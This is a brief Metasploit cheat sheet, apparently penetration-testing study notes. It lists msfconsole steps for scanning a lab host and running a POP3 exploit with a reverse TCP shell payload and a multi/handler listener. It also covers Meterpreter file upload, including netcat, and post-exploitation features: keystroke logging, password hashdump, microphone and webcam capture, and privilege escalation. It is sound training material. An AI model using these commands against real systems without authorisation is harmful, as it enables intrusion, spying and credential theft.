# Metasploit ## Msfconsole ### Exploring Start: `msfconsole` View auxiliary modules: `show auxiliary` Use modules: `use auxiliary/scanner/snmp/snmp_enum` View module options: `show options` Set global session values: `setg RHOSTS 10.11.1.5` ### Database access MSF logs findings and information about discovered hosts in a database View discovered hosts: `hosts` Use the db\_nmap wrapper to scan: `db_nmap 10.11.1.5` Search for machines open ports: `services -p 443` ### Exploit modules Search exploits: `search pop3` Use exploit: `use exploit/windows/pop3/seattlelab_pass` View options: `show options` Set options: `set RHOST 10.11.1.5` View payloads: `show payloads` Select payload: `set payload windows/shell/reverse_tcp` View payload options: `show options` Once configured, run exploit: `exploit` ### **Multi Handler** Used to receive callbacks from meterpreter payloads `use exploit/multi/handler` Set payload to match msfvenom command used to generate shell Set IP address and port `run` ### Meterpreter payloads – provide additional features and functionality View system info: `sysinfo` View UID: `getuid` Search files: `search string` Upload files: `upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec` two characters required to prevent shell escaping Download files: `download c:\\Windows\\system32\\calc.exe /tmp/calc.exe` Invoke a command shell: `shell` ### Post exploitation `help` displays a list of available meterpreter post exploitation commands Includes: download, upload, portfwd, route, keyscan\_start/stop, screenshot, record\_mic, webcam\_snap, getsystem (priv esc), hashdump Useful tool for finding priv esc options `use post/multi/recon/local_exploit_suggester` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
